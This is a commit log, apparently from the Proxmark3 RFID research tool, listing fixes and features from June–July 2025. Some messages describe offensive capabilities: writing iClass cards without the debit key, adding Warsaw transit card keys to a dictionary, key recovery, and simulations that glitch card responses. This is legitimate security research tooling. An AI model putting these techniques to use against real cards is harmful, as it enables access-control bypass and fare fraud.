Updated hf iclass restore to support privilege escalation to restore card's content using a single AA1 --nr mac value. This allows to write cards the debit key is not known.
2025-07-04 16:47:11 +08:00
Iceman
875ceab8a7
Merge pull request #2924 from 0x6r1an0y/master
Some checks are pending
CodeQL / Analyze (push) Waiting to run
MacOS Build and Test / macos-make (push) Waiting to run
MacOS Build and Test / macos-make-btaddon (push) Waiting to run
MacOS Build and Test / macos-cmake (push) Waiting to run
Ubuntu Build and Test / ubuntu-make (push) Waiting to run
Ubuntu Build and Test / ubuntu-make-btaddon (push) Waiting to run
Ubuntu Build and Test / ubuntu-cmake (push) Waiting to run
Windows Build and Test / proxspace (push) Waiting to run
Windows Build and Test / wsl (push) Waiting to run
Fix: Follow-up fix for PR #2923 (issue #2922)
2025-07-03 22:24:53 +02:00
火山大隊長
02a4594a1b
fix: reset card state
reset card state after gen2 detection in ATS based magic identification

Signed-off-by: 火山大隊長 <brian20020925@gmail.com>
2025-07-04 02:35:10 +08:00
Iceman
d39b32997f
Merge pull request #2923 from 0x6r1an0y/main
Some checks are pending
CodeQL / Analyze (push) Waiting to run
MacOS Build and Test / macos-make (push) Waiting to run
MacOS Build and Test / macos-make-btaddon (push) Waiting to run
MacOS Build and Test / macos-cmake (push) Waiting to run
Ubuntu Build and Test / ubuntu-make (push) Waiting to run
Ubuntu Build and Test / ubuntu-make-btaddon (push) Waiting to run
Ubuntu Build and Test / ubuntu-cmake (push) Waiting to run
Windows Build and Test / proxspace (push) Waiting to run
Windows Build and Test / wsl (push) Waiting to run
Fix: magic detection for SAK=0x00 cards by forcing RATS
2025-07-03 08:18:31 +02:00
火山大隊長
ea2796dc6c Fix: magic detection for SAK=0x00 cards by forcing RATS 2025-07-03 05:09:54 +08:00
iceman1001
7373c38388 hf 15 dump had an logic bug when reading the sysinfo response. It is always fixed size but the logic for handling the Information byte flags made it skip bytes when it wasnt 0x0F
Some checks are pending
CodeQL / Analyze (push) Waiting to run
MacOS Build and Test / macos-make (push) Waiting to run
MacOS Build and Test / macos-make-btaddon (push) Waiting to run
MacOS Build and Test / macos-cmake (push) Waiting to run
Ubuntu Build and Test / ubuntu-make (push) Waiting to run
Ubuntu Build and Test / ubuntu-make-btaddon (push) Waiting to run
Ubuntu Build and Test / ubuntu-cmake (push) Waiting to run
Windows Build and Test / proxspace (push) Waiting to run
Windows Build and Test / wsl (push) Waiting to run
2025-07-02 22:05:12 +02:00
Iceman
dab49248b4
Merge pull request #2921 from Antiklesys/master
Some checks are pending
CodeQL / Analyze (push) Waiting to run
MacOS Build and Test / macos-make (push) Waiting to run
MacOS Build and Test / macos-make-btaddon (push) Waiting to run
MacOS Build and Test / macos-cmake (push) Waiting to run
Ubuntu Build and Test / ubuntu-make (push) Waiting to run
Ubuntu Build and Test / ubuntu-make-btaddon (push) Waiting to run
Ubuntu Build and Test / ubuntu-cmake (push) Waiting to run
Windows Build and Test / proxspace (push) Waiting to run
Windows Build and Test / wsl (push) Waiting to run
Added sc flag detection in sam response
2025-07-01 20:17:51 +02:00
Antiklesys
0662c1a9c1 Detecting response sc flag in sam response
Added detection for Secure Channel Flag in Sam's response.
2025-07-01 23:53:54 +08:00
iceman1001
a440fbabda make clean - now removes all __pycache__ folders sprinkled all over the project when running some of the dedicated python scripts
Some checks are pending
CodeQL / Analyze (push) Waiting to run
MacOS Build and Test / macos-make (push) Waiting to run
MacOS Build and Test / macos-make-btaddon (push) Waiting to run
MacOS Build and Test / macos-cmake (push) Waiting to run
Ubuntu Build and Test / ubuntu-make (push) Waiting to run
Ubuntu Build and Test / ubuntu-make-btaddon (push) Waiting to run
Ubuntu Build and Test / ubuntu-cmake (push) Waiting to run
Windows Build and Test / proxspace (push) Waiting to run
Windows Build and Test / wsl (push) Waiting to run
2025-07-01 16:47:20 +02:00
iceman1001
630708c3eb support function 2025-07-01 16:45:55 +02:00
iceman1001
21bae5c73f fix hf 15 readmulti - wrong block count number. It is decreased before to be zero based, but in calc we need number of blocks 2025-07-01 16:45:18 +02:00
iceman1001
95814cc5b8 text 2025-07-01 16:43:42 +02:00
iceman1001
4268fe3ce1 text
Some checks are pending
CodeQL / Analyze (push) Waiting to run
MacOS Build and Test / macos-make (push) Waiting to run
MacOS Build and Test / macos-make-btaddon (push) Waiting to run
MacOS Build and Test / macos-cmake (push) Waiting to run
Ubuntu Build and Test / ubuntu-make (push) Waiting to run
Ubuntu Build and Test / ubuntu-make-btaddon (push) Waiting to run
Ubuntu Build and Test / ubuntu-cmake (push) Waiting to run
Windows Build and Test / proxspace (push) Waiting to run
Windows Build and Test / wsl (push) Waiting to run
2025-06-30 14:29:49 +02:00
iceman1001
7e2aa07b27 revamped 2025-06-30 14:29:24 +02:00
iceman1001
16cbb4a446 style 2025-06-30 14:28:24 +02:00
iceman1001
5b37fe8af6 hf mf info - dont try fudan cards
Some checks are pending
CodeQL / Analyze (push) Waiting to run
MacOS Build and Test / macos-cmake (push) Waiting to run
MacOS Build and Test / macos-make (push) Waiting to run
MacOS Build and Test / macos-make-btaddon (push) Waiting to run
Ubuntu Build and Test / ubuntu-make (push) Waiting to run
Ubuntu Build and Test / ubuntu-make-btaddon (push) Waiting to run
Ubuntu Build and Test / ubuntu-cmake (push) Waiting to run
Windows Build and Test / proxspace (push) Waiting to run
Windows Build and Test / wsl (push) Waiting to run
2025-06-29 23:38:33 +02:00
Iceman
fbdc85d6ad
Merge pull request #2916 from Antiklesys/master
Sam firmware output in decimal and unhash to detect AES key format
2025-06-29 22:46:33 +02:00
Iceman
c63c62167e
Merge pull request #2918 from gentilkiwi/patch-1
[st25tb] Update intertic.py to support Colmar (Trace / Keolis) ID
2025-06-29 22:44:48 +02:00
Iceman
22b46a4923
Merge pull request #2917 from jmichelp/master
Fix command line parsing in hf15
2025-06-29 22:44:30 +02:00
Benjamin DELPY
a33ea4dc6e
[st25tb] Update intertic.py to support Colmar (Trace / Keolis) ID
Signed-off-by: Benjamin DELPY <benjamin@gentilkiwi.com>
2025-06-27 22:04:08 +02:00
Jean-Michel Picod
6c402791f1 Fix comma instead of semicolon 2025-06-27 12:04:27 +02:00
Jean-Michel Picod
3625ee318a Fix SEGV in cmdhf15 due to argtable size being miscomputed 2025-06-27 11:57:26 +02:00
Antiklesys
89465db4b1 Update hf iclass unhash to check lsb
Updated hf iclass unhash to check lsb to be 4x 0 and 4x 1.
If it doesn't respect that format it means it never went through hash0 (as hash0 forces the key format to have 4x LSB set to 1 and 4x LSB set to 0) and likely to be an AES based key.
2025-06-27 10:30:40 +08:00
Antiklesys
f94a2cb964 Updated sam firmware version to be in decimal digits
Updated sam firmware version to be in decimal digits
2025-06-27 09:55:58 +08:00
iceman1001
5de4dd68e5 text
Some checks failed
MacOS Build and Test / macos-make-btaddon (push) Has been cancelled
MacOS Build and Test / macos-cmake (push) Has been cancelled
Ubuntu Build and Test / ubuntu-make (push) Has been cancelled
Ubuntu Build and Test / ubuntu-make-btaddon (push) Has been cancelled
CodeQL / Analyze (push) Has been cancelled
MacOS Build and Test / macos-make (push) Has been cancelled
Ubuntu Build and Test / ubuntu-cmake (push) Has been cancelled
Windows Build and Test / proxspace (push) Has been cancelled
Windows Build and Test / wsl (push) Has been cancelled
2025-06-22 20:34:54 +02:00
iceman1001
488f7aa01e clear a warning for potential use of uninitialized variable 2025-06-22 17:36:40 +02:00
iceman1001
883415fc99 style 2025-06-22 17:36:39 +02:00
Iceman
091c539a8d
Merge pull request #2915 from TeCHiScy/patch-2
fix parity bit in Sie36 format unpack
2025-06-22 17:02:22 +02:00
TeCHiScy
217edd1e74
fix parity bit in Sie36 unpack
Signed-off-by: TeCHiScy <741195+TeCHiScy@users.noreply.github.com>
2025-06-22 21:41:07 +08:00
Iceman
ba14a611e0
Merge pull request #2914 from TeCHiScy/patch-1
fix card limits for S12906 format
2025-06-22 14:47:34 +02:00
TeCHiScy
f9bce6e21b
fix card limits for S12906 format
As the S12906 [pack function]( 61a993de82/client/src/wiegand_formats.c (L684)) suggests, the issue level takes 2 bits, thus ranging from 0 to 3. The card number takes 24 bits, ranging from 0 to 0xffffff. That shows an inconsistent with the limits defined in the format table. Reference from https://acre.my.site.com/knowledgearticles/s/article/x107 also confirms the CN should be ranging from 0 to 0xffffff. So I propose to fix the limits of S12906 format.

Signed-off-by: TeCHiScy <741195+TeCHiScy@users.noreply.github.com>
2025-06-22 18:23:42 +08:00
Iceman
61a993de82
Merge pull request #2913 from Antiklesys/master
Some checks failed
Ubuntu Build and Test / ubuntu-make-btaddon (push) Has been cancelled
CodeQL / Analyze (push) Has been cancelled
MacOS Build and Test / macos-make (push) Has been cancelled
MacOS Build and Test / macos-make-btaddon (push) Has been cancelled
MacOS Build and Test / macos-cmake (push) Has been cancelled
Ubuntu Build and Test / ubuntu-make (push) Has been cancelled
Ubuntu Build and Test / ubuntu-cmake (push) Has been cancelled
Windows Build and Test / proxspace (push) Has been cancelled
Windows Build and Test / wsl (push) Has been cancelled
Renaming and snmp data format option for sam comms
2025-06-20 11:27:58 +02:00
Antiklesys
43943ce9a5
Update cmdhficlass.c
Signed-off-by: Antiklesys <syselkitna@gmail.com>
2025-06-20 17:22:14 +08:00
Antiklesys
c729c88f1d Renaming and snmp data format option for sam comms
Added ability to pass data to sam directly in snmp format and for the client to calculate the packet headers accordingly.
Renamed ack_mask to ok_mask as that is a generic mask for successful commands, the same bytes are used for multiple types of successful responses.
2025-06-20 17:20:40 +08:00
Iceman
cfe9c39b89
Merge pull request #2912 from Antiklesys/master
Improved sam response parsing
2025-06-20 10:49:03 +02:00
Antiklesys
f5254880b9
Update cmdhficlass.c
Improved code comments

Signed-off-by: Antiklesys <syselkitna@gmail.com>
2025-06-20 12:34:16 +08:00
Antiklesys
c504d43398
Update cmdhficlass.c
Signed-off-by: Antiklesys <syselkitna@gmail.com>
2025-06-20 12:32:14 +08:00
Antiklesys
e0b1b5b4f8
Update cmdhficlass.c
Fixed indent

Signed-off-by: Antiklesys <syselkitna@gmail.com>
2025-06-20 12:02:25 +08:00
Antiklesys
67fbd6abba
Update cmdhficlass.c
Signed-off-by: Antiklesys <syselkitna@gmail.com>
2025-06-20 12:00:41 +08:00
Antiklesys
37166d6c73 Improved sam response processing
Improved sam response processing on client side, it detects when the response contains an error and highlights the error number, detects when the response is an snmp messages and does the asn.1 decoding of the snmp message.
2025-06-20 11:58:32 +08:00
Iceman
b74b52f01a
Merge pull request #2911 from jamesmacwhite/master
Some checks are pending
CodeQL / Analyze (push) Waiting to run
MacOS Build and Test / macos-make (push) Waiting to run
MacOS Build and Test / macos-make-btaddon (push) Waiting to run
MacOS Build and Test / macos-cmake (push) Waiting to run
Ubuntu Build and Test / ubuntu-cmake (push) Waiting to run
Ubuntu Build and Test / ubuntu-make (push) Waiting to run
Ubuntu Build and Test / ubuntu-make-btaddon (push) Waiting to run
Windows Build and Test / proxspace (push) Waiting to run
Windows Build and Test / wsl (push) Waiting to run
Update README.md - WSL operating systems reference
2025-06-20 02:47:04 +02:00
James #FFFFFF
16a7e4fba5
Update README.md
Update Operating Systems list

Signed-off-by: James #FFFFFF <james@jmwhite.co.uk>
2025-06-19 20:41:35 +01:00
iceman1001
47648c541c text
Some checks are pending
CodeQL / Analyze (push) Waiting to run
MacOS Build and Test / macos-make (push) Waiting to run
MacOS Build and Test / macos-make-btaddon (push) Waiting to run
MacOS Build and Test / macos-cmake (push) Waiting to run
Ubuntu Build and Test / ubuntu-make (push) Waiting to run
Ubuntu Build and Test / ubuntu-make-btaddon (push) Waiting to run
Ubuntu Build and Test / ubuntu-cmake (push) Waiting to run
Windows Build and Test / proxspace (push) Waiting to run
Windows Build and Test / wsl (push) Waiting to run
2025-06-19 20:26:13 +02:00
Iceman
f6aa71b10e
Merge pull request #2910 from Antiklesys/master
Fixed length check for snmp responses
2025-06-19 20:22:23 +02:00
Antiklesys
2ed0c9a301
Update sam_picopass.c
Signed-off-by: Antiklesys <syselkitna@gmail.com>
2025-06-20 01:35:13 +08:00
Antiklesys
80a86e741c Fixed length check for snmp responses
Fixed length check for snmp responses from the sam
2025-06-20 01:31:47 +08:00
iceman1001
570b1fcc40 EBUSY error code is 16
Some checks are pending
CodeQL / Analyze (push) Waiting to run
MacOS Build and Test / macos-make (push) Waiting to run
MacOS Build and Test / macos-make-btaddon (push) Waiting to run
MacOS Build and Test / macos-cmake (push) Waiting to run
Ubuntu Build and Test / ubuntu-make (push) Waiting to run
Ubuntu Build and Test / ubuntu-make-btaddon (push) Waiting to run
Ubuntu Build and Test / ubuntu-cmake (push) Waiting to run
Windows Build and Test / proxspace (push) Waiting to run
Windows Build and Test / wsl (push) Waiting to run
2025-06-19 17:50:19 +02:00
iceman1001
b6d826410d fix macos... 2025-06-19 17:42:56 +02:00
iceman1001
65607fc727 added Ultralight-C simulation. hf mfu sim -t 13. Use eload first. Also added support to upload UL-C dictionaries and UL-AES to spiffs memory. A lot of textual reworked across client. Unifiy texts and a bit more color ;) 2025-06-19 17:26:20 +02:00
Iceman
0e87f01ab9
Merge pull request #2909 from Eltrick/hfmfuincr-fix
Some checks are pending
CodeQL / Analyze (push) Waiting to run
MacOS Build and Test / macos-make (push) Waiting to run
MacOS Build and Test / macos-make-btaddon (push) Waiting to run
MacOS Build and Test / macos-cmake (push) Waiting to run
Ubuntu Build and Test / ubuntu-make (push) Waiting to run
Ubuntu Build and Test / ubuntu-make-btaddon (push) Waiting to run
Ubuntu Build and Test / ubuntu-cmake (push) Waiting to run
Windows Build and Test / proxspace (push) Waiting to run
Windows Build and Test / wsl (push) Waiting to run
Fix `hf mfu incr` due to modified functionality of identification functions
2025-06-19 08:37:22 +02:00
Lucifer Voeltner
545e49201f
Fix hf mfu incr due to modified functionality of identification functions 2025-06-19 12:37:24 +07:00
iceman1001
fe92f55653 ok, not build hitag2crack, only clean
Some checks failed
CodeQL / Analyze (push) Has been cancelled
MacOS Build and Test / macos-make (push) Has been cancelled
MacOS Build and Test / macos-make-btaddon (push) Has been cancelled
MacOS Build and Test / macos-cmake (push) Has been cancelled
Ubuntu Build and Test / ubuntu-make (push) Has been cancelled
Ubuntu Build and Test / ubuntu-make-btaddon (push) Has been cancelled
Ubuntu Build and Test / ubuntu-cmake (push) Has been cancelled
Check uniq keys / check-unique (push) Has been cancelled
Windows Build and Test / proxspace (push) Has been cancelled
Windows Build and Test / wsl (push) Has been cancelled
2025-06-17 19:54:58 +02:00
iceman1001
cc17db26bf ndef key 2025-06-17 18:28:23 +02:00
iceman1001
7fa9f7bdfe change parameter, we like shorter parameter names remember... 'hf mfu aesauth --idx' 2025-06-17 18:28:23 +02:00
iceman1001
fc9f70c436 fix release name style 2025-06-17 18:28:22 +02:00
iceman1001
79400d0779 text and style 2025-06-17 18:28:22 +02:00
iceman1001
35493f5b2c at least run hitag2crack clean, for us who do compile it... 2025-06-17 18:28:22 +02:00
iceman1001
7a9b3383d4 fix missing flushing bits also in thinfilm fct 2025-06-17 18:28:22 +02:00
Iceman
e97d521f8c
Update README.md
Some checks are pending
CodeQL / Analyze (push) Waiting to run
MacOS Build and Test / macos-make (push) Waiting to run
MacOS Build and Test / macos-make-btaddon (push) Waiting to run
MacOS Build and Test / macos-cmake (push) Waiting to run
Ubuntu Build and Test / ubuntu-make (push) Waiting to run
Ubuntu Build and Test / ubuntu-make-btaddon (push) Waiting to run
Ubuntu Build and Test / ubuntu-cmake (push) Waiting to run
Windows Build and Test / wsl (push) Waiting to run
Windows Build and Test / proxspace (push) Waiting to run
Signed-off-by: Iceman <iceman@iuse.se>
2025-06-16 19:52:08 +02:00
Iceman
237d3b6ce7
Merge pull request #2907 from LupusE/master
Update 4_Advanced-compilation-parameters.md
2025-06-16 19:50:23 +02:00
Benjamin Møller
cc8ea65679
Update 4_Advanced-compilation-parameters.md
Little typo in new PM3 Ultimate option.

Signed-off-by: Benjamin Møller <37707273+LupusE@users.noreply.github.com>
2025-06-16 19:03:58 +02:00
Philippe Teuwen
52b00fa653 Release script: removing some Werror left 2025-06-16 18:14:02 +02:00
iceman1001
508c8943e7 text
Some checks are pending
CodeQL / Analyze (push) Waiting to run
MacOS Build and Test / macos-make (push) Waiting to run
MacOS Build and Test / macos-make-btaddon (push) Waiting to run
MacOS Build and Test / macos-cmake (push) Waiting to run
Ubuntu Build and Test / ubuntu-make (push) Waiting to run
Ubuntu Build and Test / ubuntu-make-btaddon (push) Waiting to run
Ubuntu Build and Test / ubuntu-cmake (push) Waiting to run
Windows Build and Test / proxspace (push) Waiting to run
Windows Build and Test / wsl (push) Waiting to run
2025-06-16 16:20:56 +02:00
iceman1001
9fa173c727 Release v4.20469 - Daddy Iceman 2025-06-16 16:18:01 +02:00
iceman1001
1f718683b3 Revert "Release v4.20469 - Daddy Iceman"
This reverts commit 9fa173c727.
2025-06-16 16:18:01 +02:00
iceman1001
0792d05efa Prep release text 2025-06-16 16:17:40 +02:00
Iceman
1bebaf6aee
Merge pull request #2906 from jmichelp/master
Fix compilation under termux
2025-06-16 11:59:08 +02:00
Jean-Michel Picod
f06c2fafbe Fix compilation under termux 2025-06-16 11:52:08 +02:00
Philippe Teuwen
67da1c8ca5 Make CRC size explicit in some cmd/reply size calculations 2025-06-16 10:52:05 +02:00
Iceman
63392baa40
Merge pull request #2905 from dhuuthang/patch-1
Update Windows-WSL2-Installation-Instructions.md
2025-06-16 10:14:02 +02:00
dhuuthang
640b4a5f3b
Update Windows-WSL2-Installation-Instructions.md
Add command to suppress "WSL kernel is not USBIP capable" error

Signed-off-by: dhuuthang <dhuuthang@gmail.com>
2025-06-16 13:44:12 +07:00
Philippe Teuwen
eb31bcad07 Increase MAX_MIFARE_FRAME_SIZE to cope with UL AES auth, and fix code using MAX_MIFARE_FRAME_SIZE while it should use MIFARE_BLOCK_SIZE + 2
Some checks are pending
CodeQL / Analyze (push) Waiting to run
MacOS Build and Test / macos-make (push) Waiting to run
MacOS Build and Test / macos-make-btaddon (push) Waiting to run
MacOS Build and Test / macos-cmake (push) Waiting to run
Ubuntu Build and Test / ubuntu-make (push) Waiting to run
Ubuntu Build and Test / ubuntu-make-btaddon (push) Waiting to run
Ubuntu Build and Test / ubuntu-cmake (push) Waiting to run
Windows Build and Test / proxspace (push) Waiting to run
Windows Build and Test / wsl (push) Waiting to run
2025-06-16 00:06:23 +02:00
Philippe Teuwen
eb5aa9e08e mifare_sendcmd_short: increase parity bits buffer as it's also used for reception 2025-06-16 00:04:34 +02:00
Philippe Teuwen
25932cafb7 iso14443a ManchesterDecoding: flush parity bits 2025-06-16 00:03:32 +02:00
Philippe Teuwen
22555cc5da fix docker opensuse/tumbleweed 2025-06-15 19:38:24 +02:00
Philippe Teuwen
4547d4ba7c fix dockers Fedora 42 & 43 2025-06-15 18:18:07 +02:00
Philippe Teuwen
3515370185
Update CHANGELOG.md
Some checks are pending
CodeQL / Analyze (push) Waiting to run
MacOS Build and Test / macos-make (push) Waiting to run
MacOS Build and Test / macos-make-btaddon (push) Waiting to run
MacOS Build and Test / macos-cmake (push) Waiting to run
Ubuntu Build and Test / ubuntu-make-btaddon (push) Waiting to run
Ubuntu Build and Test / ubuntu-make (push) Waiting to run
Ubuntu Build and Test / ubuntu-cmake (push) Waiting to run
Windows Build and Test / proxspace (push) Waiting to run
Windows Build and Test / wsl (push) Waiting to run
2025-06-15 14:58:34 +02:00
Philippe Teuwen
9a75cbe169 release checklist 2025-06-15 13:39:39 +02:00
Philippe Teuwen
86d36a3be3 redundant break 2025-06-15 13:08:23 +02:00
Philippe Teuwen
a7dfd06354 fix missing HF_ST25_TEAROFF in STANDALONE_MODES_REQ_FLASH 2025-06-15 13:00:41 +02:00
Philippe Teuwen
a5d02c6ba2 style 2025-06-15 12:53:33 +02:00
Philippe Teuwen
3210384ef9 fm11rf08s: fix prev_lfsr 2025-06-15 12:01:46 +02:00
Iceman
b00e5d3a22
Merge pull request #2902 from EpicPlayerA10/warsaw-keys
Poland Warsaw public transport card keys
2025-06-13 14:01:44 +02:00
EpicPlayerA10
ee674405bc
remove duplicates
Signed-off-by: EpicPlayerA10 <62206933+EpicPlayerA10@users.noreply.github.com>
2025-06-13 13:51:18 +02:00
EpicPlayerA10
5cb19b0645
Poland Warsaw public transport card keys
Signed-off-by: EpicPlayerA10 <62206933+EpicPlayerA10@users.noreply.github.com>
2025-06-13 13:05:32 +02:00
Iceman
16fab8bd44
Merge pull request #2899 from rfidgeek1337/patch-1
LF HITAG: Adjust timing for LF ADC measurements to increase stability when the tag is in public mode/TTF mode
2025-06-12 22:05:12 +02:00
iceman1001
dc44d0fda5 fix error: variable length array folded to constant array as an extension [-Werror,-Wgnu-folding-constant] on MAC Xcode26.0 2025-06-12 17:37:02 +02:00
iceman1001
e917491d4a fix error: variable length array folded to constant array as an extension [-Werror,-Wgnu-folding-constant] on MAC Xcode26.0 2025-06-12 17:21:18 +02:00
iceman1001
4725ae5c22 fix #2900 - bad compare 2025-06-12 13:56:49 +02:00
Iceman
6ba00b7bee
Merge pull request #2901 from Antiklesys/master
Minor iclass sam comms tweaks
2025-06-12 13:51:57 +02:00
Antiklesys
0378d91595 Minor iclass sam comms tweaks
1- Removed timeout on client side to allow the sam to be slow in responding
2- Increased SIM_WAIT_DELAY to allow for bigger sam responses
2025-06-12 19:42:56 +08:00
iceman1001
2ca43e0e2d text and style 2025-06-11 21:41:19 +02:00
iceman1001
92c288ab85 style 2025-06-11 21:40:54 +02:00
iceman1001
c1729ca264 if simulation fails, lets return back 2025-06-11 21:39:58 +02:00
rfidgeek1337
f7f0605207
Update lfadc.c
Signed-off-by: rfidgeek1337 <rfidgeek1337@proton.me>
2025-06-11 18:14:19 +02:00
rfidgeek1337
2dfb0706fa
Update lfadc.c
Signed-off-by: rfidgeek1337 <rfidgeek1337@proton.me>
2025-06-11 18:13:21 +02:00
rfidgeek1337
4f682501f1
Update CHANGELOG.md
Signed-off-by: rfidgeek1337 <rfidgeek1337@proton.me>
2025-06-11 18:12:24 +02:00
rfidgeek1337
c4e019ec60
LF HITAG: Adjust timing for LF ADC measurements to increase stability when the tag is in public mode/TTF mode
Signed-off-by: rfidgeek1337 <rfidgeek1337@proton.me>
2025-06-11 18:07:51 +02:00
iceman1001
2108ab6101 fix string formatter warning 2025-06-11 14:39:20 +02:00
iceman1001
646f1a5b97 making the spiffs write guarded if firmware was compiled with spiffs flash enabled 2025-06-11 12:27:04 +02:00
iceman1001
24d6013f10 making the spiffs write guarded if firmware was compiled with spiffs flash enabled 2025-06-11 12:26:11 +02:00
iceman1001
2699060eeb add missing standalone mode when building a bunch of firmware 2025-06-11 12:22:02 +02:00
Iceman
076158cc15
Merge pull request #2898 from HenraL/patch-1
Update pm3_tests.sh
2025-06-11 12:14:24 +02:00
Hanra
d143d9a65c
Update pm3_tests.sh
Added LANG=C to the script to enforce the English language so that it does not break when the system language is not English.

Signed-off-by: Hanra <37299738+HenraL@users.noreply.github.com>
2025-06-11 10:55:35 +02:00
Iceman
8156274007
Merge pull request #2896 from Antiklesys/master
Added hf iclass sam --info
2025-06-10 20:39:40 +02:00
Iceman
cd14990dc5
Merge pull request #2895 from henrygab/em4x70_no_more_par
EM4x70 -- Remove deprecated `--par` option
2025-06-10 20:39:28 +02:00
Antiklesys
5b7e013f1a Update CHANGELOG.md 2025-06-11 01:08:03 +08:00
Antiklesys
7fb5716ea3 Added hf iclass sam --info
Added hf iclass sam --info command that skips any card communication command and just interacts with the SAM to return:

1- Sam Firmware Version
2- Sam Firmware ID
3- Sam Serial Number
2025-06-11 01:06:38 +08:00
Henry Gabryjelski
af7aa26c14 Update changelog
Parity was always used for commands, even when the code seemed to suggest it was optional.  This was due to a bug in `LIW` delays sending 1.25 bits too early, coupled with the parity bit happening to align with non-transmission when needed.

Parity option was deprecated earlier, and now is fully removed.
2025-06-09 15:12:13 -07:00
Henry Gabryjelski
9b37250453 em4x70 --par deprecation: Step 5: remove client parameters entirely 2025-06-09 15:05:28 -07:00
Henry Gabryjelski
b5e6d21128 Make it clear that this code was *always* sending a parity bit. All the tags require the parity bit. 2025-06-09 14:54:30 -07:00
Henry Gabryjelski
69a2cc1ff0 em4x70 --par deprecation: Step 4: remove client references to client->arm field that used to store this 2025-06-09 14:03:05 -07:00
Henry Gabryjelski
4dcf12fd8d em4x70 --par deprecation: Step 3: remove client-only variables, hard-code false for client->arm comms 2025-06-09 13:32:37 -07:00
Henry Gabryjelski
31b1117a51 em4x70 --par deprecation: Step 2: arm-side always uses false 2025-06-09 12:58:50 -07:00
Henry Gabryjelski
86bac8fe8c em4x70 --par deprecation: Step 1: client-side always sets false 2025-06-09 12:18:34 -07:00
Iceman
0a4b67bd7e
Merge pull request #2894 from Antiklesys/master
Updated iclass config cards readability
2025-06-09 19:38:18 +02:00
Antiklesys
b70d462a06 Updated iclass config cards readability
Updated config cards section readability
2025-06-10 01:07:04 +08:00
iceman1001
5f2edb9bb8 reworked and improved the hf mfp chk key handling. reworked the nxp_detect_card technology function to enable other parts of the client to benefit from detecting card types. Like hf mf info or hf mf autopwn - two most common used commands. Now less waiting and more easily to know what next steps to do. 2025-06-09 15:36:44 +02:00
iceman1001
15fbfafac1 fix exit logic 2025-06-08 23:19:09 +02:00
iceman1001
1fa5e28a38 unify text and hints for static enc nonces a bit more 2025-06-08 21:46:31 +02:00
Iceman
1a6c38ab20
Merge pull request #2892 from jmichelp/patch-4
Rollback em4x50_read() to remove a segv
2025-06-08 21:26:29 +02:00
Jean-Michel Picod
7fd5730d89
Rollback em4x50_read() to remove a segv
Client was expecting a struct starting with an object count but ARM directly sends the array.
The struct is only used on this line in the whole repository, so reverting client is the easiest way to solve the issue.


Signed-off-by: Jean-Michel Picod <jmichel.p@gmail.com>
2025-06-08 21:10:02 +02:00
iceman1001
ec26b6d84f style and text. unify some parameter names 2025-06-08 20:56:01 +02:00
iceman1001
add2eb8e9d hf mf dump, does a guess the key file name, and if you ran for instance a autopwn against a 4K card but didnt mention it , it defaults to 1K. Meaning the recovered keyfile will have 32 keys. When trying to dump card and specifiy 4K, it would automatically find that keyfile and happily go out-of-bounds leading to client crash 2025-06-08 19:31:02 +02:00
iceman1001
3d8a15d361 text 2025-06-08 16:10:26 +02:00
iceman1001
8c880e4a3f missed this one 2025-06-08 16:10:09 +02:00
iceman1001
bcec294606 fix the visual bug with when viewing larger mifare class dumps, 2k, 4k, it would mark the signature sectors... for the rest of the dumps. 2025-06-08 16:09:23 +02:00
iceman1001
27aa9a2085 hf mf rdsc - if a successful read was made , add the used key to the sector trailer output.\nhf mf info - after getting annoyed over command running tests on non mifare classic card, this fixes it. 2025-06-08 10:06:30 +02:00
iceman1001
387009ab6a added a support function 2025-06-08 10:02:40 +02:00
iceman1001
2d610b8dc0 text & style 2025-06-08 10:02:00 +02:00
Iceman
911d4f9df2
Merge pull request #2891 from n-hutton/extra_bitfiles
add bitfiles for prox ultimate build
2025-06-08 08:05:59 +02:00
n-hutton
990e7b5e1f add bitfiles for prox ultimate build 2025-06-08 06:26:33 +01:00
Iceman
d4c281ff17
Merge pull request #2890 from Antiklesys/master
Implemented hf iclass sim -t 7
2025-06-07 17:26:15 +02:00
Antiklesys
80e1c7f0d4 Implemented hf iclass sim -t 7
Implemented an iclass sim function that prevents simulated card responses after updating block 3.
Block 3 gets updated with the XOR key as if it was in personalization mode.
2025-06-07 23:12:21 +08:00
Iceman
d83196fb35
Merge pull request #2889 from BIOS9/master
fix mad v2 cps offset
2025-06-07 14:31:11 +02:00
BIOS9
73be29db44 update changelog 2025-06-08 00:00:56 +12:00
BIOS9
fd3a644289 fix mad v2 cps offset
card publisher sector is an absolute sector index but the code compared it against a relative index of mifare 4k sectors
2025-06-07 23:04:34 +12:00
iceman1001
3a8c3174a8 text 2025-06-07 12:53:15 +02:00
iceman1001
88593f9b8b updated the ATR list and organized the changelog to prefered style 2025-06-07 12:08:12 +02:00
iceman1001
6fbb13ba41 style 2025-06-07 11:50:03 +02:00
Iceman
9a2395d40f
Merge pull request #2888 from Antiklesys/master
Updated hf iclass sim -t 6
2025-06-07 11:01:59 +02:00
Antiklesys
f49bc8ebaa
Update iclass.c
Signed-off-by: Antiklesys <syselkitna@gmail.com>
2025-06-07 17:00:28 +08:00
Antiklesys
606f65496c
Update iclass.c
Signed-off-by: Antiklesys <syselkitna@gmail.com>
2025-06-07 16:46:44 +08:00
Antiklesys
9c672d8289
Update iclass.c
Signed-off-by: Antiklesys <syselkitna@gmail.com>
2025-06-07 16:42:49 +08:00
Antiklesys
b4edcb9510 Updated hf iclass sim -t 6
Updates to the functionality of iclass sim -t 6 to specifically target the last SIO block and to do it automatically.
It now checks the AIA to determine if the card is SR or SE and adjust the block to jam based on the SIO length declared in block 6 (if SE) or fixed length if SR.
2025-06-07 13:46:19 +08:00
Iceman
32e29d9340
Merge pull request #2887 from Antiklesys/master
Implemented a hf iclass sim variation
2025-06-06 20:27:27 +02:00
Antiklesys
5558db3019
Update iclass_cmd.h
Signed-off-by: Antiklesys <syselkitna@gmail.com>
2025-06-07 02:24:45 +08:00
Antiklesys
082bea661d
Update cmdhficlass.c
Signed-off-by: Antiklesys <syselkitna@gmail.com>
2025-06-07 02:23:40 +08:00
Antiklesys
94794f7519 Implemented a hf iclass sim variation
hf iclass sim -t 3 variation that glitches specific block responses during read/write operations based on the value of the last byte of block 31.
2025-06-07 02:15:01 +08:00
iceman1001
53e1e32409 text 2025-06-06 19:00:34 +02:00
iceman1001
23338b3f39 text 2025-06-06 17:55:46 +02:00
iceman1001
f41d6fad53 style 2025-06-06 13:27:02 +02:00
Iceman
27ce314051
Merge pull request #2886 from Antiklesys/master
Updated hf iclass legrec to optionally use shorter delays
2025-06-06 11:47:29 +02:00
Antiklesys
e68be39a41 Updated hf iclass legrec to be able to use shorter delays
